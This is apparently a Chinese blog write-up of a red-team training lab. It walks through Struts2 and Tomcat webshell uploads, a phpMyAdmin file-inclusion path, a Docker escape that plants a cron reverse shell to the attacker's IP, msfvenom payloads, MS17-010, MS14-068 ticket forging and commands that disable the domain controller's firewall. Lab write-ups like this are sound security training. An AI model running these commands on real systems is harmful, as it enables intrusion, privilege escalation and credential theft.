百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

ATT&CK红队实战(四)(att&ck实战系列-红队实战 三)

bigegpt 2024-08-02 11:07 14 浏览

通过前面的靶场三,我们学习了命令执行函数的绕过,脏牛提权以及WMI的利用,靶场四利用的知识点有struts2、tomcatl漏洞利用、phpmyadmin文件包含、docker逃逸、以及MS14-068攻击域孔,下面让我们来看一下吧。

本次试验靶场配置好后,要自己开启vulhub里面的三个漏洞

攻击机 192.168.1.3

Web 192.168.1.9 192.168.183.3

Win7 192.168.183.2

DC 192.168.1.130

0x00:信息收集

先对目标进行端口扫描,发现开放了2001、2002、2003 三个web端口

0x01:漏洞分析

struts2

访问http://192.168.1.9:2001/doUpload.action发现是struts2,使用漏洞利用工具直接获取shell

Tomcat

访问http://192.168.1.9:2001/doUpload.action是一个tomcat页面,首先想的是看有没有弱口令,然后进入后台部署war包来进行getshell,但是不行,那就看看有没有CVE漏洞,使用漏洞扫描工具发现存在CVE-2017-12615,可以直接PUT上传一个shell文件

抓包上传一个冰蝎的木马

访问一下发现存在shell.jsp文件成功上传

Phpmyadmin

访问http://192.168.1.9:2003/发现是一个phpmyadmin未授权页面

首先想到的是修改日志文件或者直接写入一句话木马,但是没有权限,测试发现存在文件包含漏洞

http://192.168.1.9:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd


访问

http://192.168.1.9:2003/index.php?target=db_sql.php?w=../../../../../../../../../../tmp/sess_c31ee298e7a539c99516b6e291d5de32

尝试写入一句话,但是工具连接不上,换成GET方式执行命令也不行,但通过执行system函数来执行命令。

0x02:漏洞利用

利用Tomcat以PUT方式上传一个木马文件,使用冰蝎进行连接

docker逃逸

判断是否为docker环境

ls -alh /.dockerenv #查看是否存dockerrnv文件

cat /proc/1/cgroup #查看系统进程的cgroup信息

挂载宿主机

fdisk -l #查看磁盘文件

mkdir /chan #新建一个目录用于挂载

mount /dev/sda1 /chan #将宿主机/dev/sda1目录挂载到容器内

计划任务写入一个反弹shell的脚本

Touch /chan/tmp/test.sh

Chmod +x /chan/tmp/test.sh

Ls -l /chan/tmp/test.sh

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.1.3/9999 0>&1" >> /chan/tmp/test.sh

cat /chan/tmp/test.sh

sed -i '$a*/1 * * * * root bash /tmp/test.sh ' /chan/etc/crontab

cat /test/etc/crontab

攻击机监听端口获取shell,逃逸成功,此时也利用计划任务corntab提权到root权限

利用python获取一个交互式shell

进行简单的信息收集,发现存在两个网卡,内网IP为192.168.183.3

使用msf生产一个shell.elf

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.3 lport=4444-f elf > shell.elf

在靶机中将shell.elf下载下来赋权并执行

MSF监听4444端口,成功获得一个meterpreter

0x03:横向渗透

添加路由,然后使用MSF开个sock4正向代理,配合proxychains

将/etc/proxychains.conf配置文件中的端口改为1080

配置好后访问内网地址,发现成功访问说明配置成功

内网存活主机扫描

利用MSF自带的模块进行内网主机存活扫描

或者在靶机中执行下述命令

for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

端口服务探测

proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.2

proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.130

发现主机开启了445端口,利用ms17-010攻击域内主机,这里创建一个正向的shell

攻击成功,成功获取一个meterpreter,

使用tasklist /v查看进程发现存在DEMO域成员进程,尝试抓取其密码

成功抓取到douser域用户的密码

切换到域用户

进行简单域信息收集

利用MS14-048攻击域控

获取域用户douser的SID

返回system权限,使用MS14-068进行攻击

利用ms14-068生成票据:

MS14-068.exe -u douser@demo.com -p Dotest123 -s

S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

在mimikztz中导入票据:

Kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache

成功获取域控权限

利用MSF生产一个正向连接的payload

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe -o/var/www/html/cahn.exe

将chan.exe上传到跳板机上

然后将chan.exe复制到域控上

创建关闭域控的防火墙和执行chan.exe的服务,然后执行

sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start ProFirewall

sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\chan.exe"

sc \\WIN-ENS2VR5TR3N start Startup

在MSF设置监听,获取一个meterpreter,但是这里过了一会,会自动断开,所以我迁移了一个进程

抓取域控管理员的密码

后面就是开启3389端口然后进行桌面连接了

run post/windows/manage/enable_rdp

或者

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server/v fDenyTSConnections /t REG_DWORD /d 0 /f

0x04:总结

学习了docker逃逸的姿势,在搭建好代理对内网主机使用MS17010进行攻击时,由于网络的原因好几次都是攻击成功,但是无法返回一个meterpreter。在靶机中查看端口,发现监听的端口过了一会会自动断开,好在后面还是成功返回了一个meterpreter ,然后利用MS14-068拿下域控。

相关推荐

Go语言泛型-泛型约束与实践(go1.7泛型)

来源:械说在Go语言中,Go泛型-泛型约束与实践部分主要探讨如何定义和使用泛型约束(Constraints),以及如何在实际开发中利用泛型进行更灵活的编程。以下是详细内容:一、什么是泛型约束?**泛型...

golang总结(golang实战教程)

基础部分Go语言有哪些优势?1简单易学:语法简洁,减少了代码的冗余。高效并发:内置强大的goroutine和channel,使并发编程更加高效且易于管理。内存管理:拥有自动垃圾回收机制,减少内...

Go 官宣:新版 Protobuf API(go pro版本)

原文作者:JoeTsai,DamienNeil和HerbieOng原文链接:https://blog.golang.org/a-new-go-api-for-protocol-buffer...

Golang开发的一些注意事项(一)(golang入门项目)

1.channel关闭后读的问题当channel关闭之后再去读取它,虽然不会引发panic,但会直接得到零值,而且ok的值为false。packagemainimport"...

golang 托盘菜单应用及打开系统默认浏览器

之前看到一个应用,用go语言编写,说是某某程序的windows图形化客户端,体验一下发现只是一个托盘,然后托盘菜单的控制面板功能直接打开本地浏览器访问程序启动的webserver网页完成gui相关功...

golang标准库每日一库之 io/ioutil

一、核心函数概览函数作用描述替代方案(Go1.16+)ioutil.ReadFile(filename)一次性读取整个文件内容(返回[]byte)os.ReadFileioutil.WriteFi...

文件类型更改器——GoLang 中的 CLI 工具

我是如何为一项琐碎的工作任务创建一个简单的工具的,你也可以上周我开始玩GoLang,它是一种由Google制作的类C编译语言,非常轻量和快速,事实上它经常在Techempower的基准测...

Go (Golang) 中的 Channels 简介(golang channel长度和容量)

这篇文章重点介绍Channels(通道)在Go中的工作方式,以及如何在代码中使用它们。在Go中,Channels是一种编程结构,它允许我们在代码的不同部分之间移动数据,通常来自不同的goro...

Golang引入泛型:Go将Interface「」替换为“Any”

现在Go将拥有泛型:Go将Interface{}替换为“Any”,这是一个类型别名:typeany=interface{}这会引入了泛型作好准备,实际上,带有泛型的Go1.18Beta...

一文带你看懂Golang最新特性(golang2.0特性)

作者:腾讯PCG代码委员会经过十余年的迭代,Go语言逐渐成为云计算时代主流的编程语言。下到云计算基础设施,上到微服务,越来越多的流行产品使用Go语言编写。可见其影响力已经非常强大。一、Go语言发展历史...

Go 每日一库之 java 转 go 遇到 Apollo?让 agollo 来平滑迁移

以下文章来源于GoOfficialBlog,作者GoOfficialBlogIntroductionagollo是Apollo的Golang客户端Apollo(阿波罗)是携程框架部门研...

Golang使用grpc详解(golang gcc)

gRPC是Google开源的一种高性能、跨语言的远程过程调用(RPC)框架,它使用ProtocolBuffers作为序列化工具,支持多种编程语言,如C++,Java,Python,Go等。gR...

Etcd服务注册与发现封装实现--golang

服务注册register.gopackageregisterimport("fmt""time"etcd3"github.com/cor...

Golang:将日志以Json格式输出到Kafka

在上一篇文章中我实现了一个支持Debug、Info、Error等多个级别的日志库,并将日志写到了磁盘文件中,代码比较简单,适合练手。有兴趣的可以通过这个链接前往:https://github.com/...

如何从 PHP 过渡到 Golang?(php转golang)

我是PHP开发者,转Go两个月了吧,记录一下使用Golang怎么一步步开发新项目。本着有坑填坑,有错改错的宗旨,从零开始,开始学习。因为我司没有专门的Golang大牛,所以我也只能一步步自己去...